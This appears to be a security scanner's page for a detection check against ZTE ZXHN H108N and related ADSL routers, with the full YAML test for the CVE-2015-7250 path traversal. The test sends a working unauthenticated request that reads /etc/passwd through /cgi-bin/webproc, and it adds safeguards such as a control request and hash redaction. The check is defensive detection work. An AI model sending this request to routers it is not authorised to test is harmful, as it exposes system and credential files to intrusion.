ZTE ZXHN — 1 vulnerability check

noctis ships 1 vulnerability check for ZTE ZXHN, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ZTE ZXHN H108N / ADSL Router webproc getpage Path Traversal

CVECVE-2015-7250, CVE-2015-7248, CVE-2015-7249, CVE-2015-7251, CVE-2015-7252
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/zte-zxhn/CVE-2015-7250.yaml

Detects the unauthenticated absolute path traversal in /cgi-bin/webproc of ZTE ZXHN H108N and other ADSL routers built on the same firmware (D-Link 2750E/2730U/2730E, Sitecom WLM-3600/WLR-6100/WLR-4100, FiberHome HG110, Planet ADN-4101, Digisol DG-BG4011N, Observa Telecom BHS_RTA_R1A). The test opens a session on the router's setup page, then requests /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd and reports the device when the reply carries the root entry of /etc/passwd. A second request for a random absent file must not return a passwd entry, which rules out devices that answer every request with the same content. The request is read-only; root's password hash is redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET /cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:menu=setup&var:…
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd
  4. Checks trav.body for (?m)^(?:<[^>\r\n]*>)*[ \t]*root:[^:\r\n]*:0:([01]:[^:\r\n]*:[^:\r\n]*…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd.noctis-absent-{{o…
  7. Parses / computes the next value with a Rhai script
  8. Checks proof for ^root:<redacted>:0:[01]: → finding QoD 75: GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd returned /etc/passwd (…); an absent file returned no passwd entry

References:

Feed source — tests/vulnerabilities/zte-zxhn/CVE-2015-7250.yaml
# ZTE ZXHN H108N (and OEM ADSL routers sharing its firmware) — webproc getpage
# absolute path traversal — CVE-2015-7250
#
# Ported from OpenVAS/Greenbone NVT `2015/gb_mult_router_traversal_03_15.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105242, GPL-2.0-only), "Multiple ADSL Routers
# Directory Traversal Vulnerability (Mar 2015)". Affected per the NVT: ZTE
# H108N / H108NV2.1, D-Link 2750E / 2730U / 2730E, Sitecom WLM-3600 / WLR-6100 /
# WLR-4100, FiberHome HG110, Planet ADN-4101, Digisol DG-BG4011N, Observa
# Telecom BHS_RTA_R1A.
#
# The NVT lists CVE-2015-7248..7252, the five ZTE ZXHN H108N R1A records of the
# same disclosure. The bug it actually exploits is CVE-2015-7250 (absolute path
# traversal through `getpage` of cgi-bin/webproc); the others are the HTML
# credential leak (7248), an authenticated access-control bypass (7249), the
# hardcoded telnet root password (7251) and an XSS (7252), all fixed by the
# same firmware. The feed keeps the five IDs so an `exclude_cve` on any of them
# drops it, but the finding only names CVE-2015-7250 (NVD 7.5).
#
# Flow (as the NVT): GET the unauthenticated setup page, which hands out a
# `sessionid` cookie, then GET
#   /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd
# with that cookie. The CGI returns the named file without confining it to the
# web root. Proof (benign, read-only): the root line of /etc/passwd.
#
# Improvements over the NVT:
#   - No hard stop when the first page sets no `sessionid` cookie: the exploit
#     request is still sent (with no session), so firmwares that hand out the
#     cookie elsewhere or don't need it are not missed.
#   - A failed setup request does not abort the test either (stored results
#     are pre-initialised).
#   - Stricter signature: a full 7-field root line at a line start (optionally
#     after HTML tags), where the NVT's `root:.*:0:[01]:` matches anywhere.
#   - Absent-file control: after a hit, the same request for a random absent
#     file named after the probed one must NOT return a passwd line, so a
#     blanket responder / honeypot that answers every getpage with a passwd
#     file gives no finding (fail-closed: the control must have been answered).
#   - No secret in the finding: these firmwares keep root's crypt hash in
#     /etc/passwd, so only `root:<redacted>:0:<gid>:<gecos>:<home>:<shell>` is
#     reported; the raw reply is matched without `on_match`.
#
# Known limit: the engine keeps only the last Set-Cookie header, so a device
# that sends another cookie after `sessionid` is probed without a session.
uid: 64ab6594-72cc-43d3-a614-62cae1916548
name: "ZTE ZXHN H108N / ADSL Router webproc getpage Path Traversal (CVE-2015-7250)"
description: |
  Detects the unauthenticated absolute path traversal in /cgi-bin/webproc of
  ZTE ZXHN H108N and other ADSL routers built on the same firmware (D-Link
  2750E/2730U/2730E, Sitecom WLM-3600/WLR-6100/WLR-4100, FiberHome HG110,
  Planet ADN-4101, Digisol DG-BG4011N, Observa Telecom BHS_RTA_R1A). The test
  opens a session on the router's setup page, then requests
  /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd and
  reports the device when the reply carries the root entry of /etc/passwd. A
  second request for a random absent file must not return a passwd entry,
  which rules out devices that answer every request with the same content.
  The request is read-only; root's password hash is redacted from the
  evidence.
cves: [CVE-2015-7250, CVE-2015-7248, CVE-2015-7249, CVE-2015-7251, CVE-2015-7252]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [zte, d-link, sitecom, fiberhome, router, adsl, iot, path-traversal, lfi, file-read, webproc]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7250"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7248"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7249"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7251"
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7252"
  - "https://www.kb.cert.org/vuls/id/950576"
  - "OpenVAS NVT 2015/gb_mult_router_traversal_03_15.nasl (OID 1.3.6.1.4.1.25623.1.0.105242)"

steps:
  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-cookie
    action: set_var
    var_name: cookie
    var_value: "noctis=1"

  # Pre-init the stored results: a failed request stores nothing, and the
  # scripts below would otherwise abort on an undefined variable.
  - id: init-sess
    action: set_var
    var_name: sess
    var_value: ""

  - id: init-trav
    action: set_var
    var_name: trav
    var_value: ""

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: ""

  # ── 1. Session: the setup page hands out a sessionid cookie ──────────────
  - id: session
    action: http_request
    method: GET
    path: "/cgi-bin/webproc?getpage=html/index.html&errorpage=html/main.html&var:menu=setup&var:page=connected&var:retag=1&var:subpage=-"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: sess

  - id: session-cookie
    action: script
    code: |
      let c = "";
      if type_of(sess) == "map" && "set-cookie" in sess.headers { c = sess.headers["set-cookie"]; }
      let m = eregmatch("sessionid=([^ ;,\r\n]+)", c, true);
      if type_of(m) == "array" && m.len() > 1 { "sessionid=" + m[1] } else { "noctis=1" }
    store_as: cookie

  # ── 2. Exploit: absolute path in getpage ─────────────────────────────────
  - id: traversal
    action: http_request
    method: GET
    path: "/cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "{{cookie}}"
    store_as: trav

  # No on_match: the raw reply (with root's hash) must not become evidence.
  - id: passwd
    action: match
    source: trav.body
    pattern: "(?m)^(?:<[^>\\r\\n]*>)*[ \\t]*root:[^:\\r\\n]*:0:([01]:[^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
    store_as: pw_m

  - id: redact
    action: script
    code: |
      if type_of(pw_m) == "map" && pw_m.matched && pw_m.captures.len() > 0 {
        "root:<redacted>:0:" + pw_m.captures[0]
      } else { "" }
    store_as: proof

  # ── 3. Control: an absent file must not come back as a passwd file ──────
  - id: control
    action: http_request
    method: GET
    path: "/cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd.noctis-absent-{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'proof != ""'
    headers:
      Cookie: "{{cookie}}"
    store_as: ctl

  - id: control-state
    action: script
    code: |
      if type_of(ctl) != "map" || ctl.status == 0 { "none" }
      else if egrep("^(?:<[^>\\r\\n]*>)*[ \\t]*root:[^:\\r\\n]*:0:[01]:", ctl.body) != "" { "blanket" }
      else { "clean" }
    condition: 'proof != ""'
    store_as: ctl_state

  - id: report
    action: match
    source: proof
    pattern: "^root:<redacted>:0:[01]:"
    condition: 'proof != "" && ctl_state == "clean"'
    on_match:
      finding:
        cves: [CVE-2015-7250]
        cvss: 7.5
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd returned /etc/passwd ({{proof}}); an absent file returned no passwd entry"
      stop: true

View these feeds on GitHub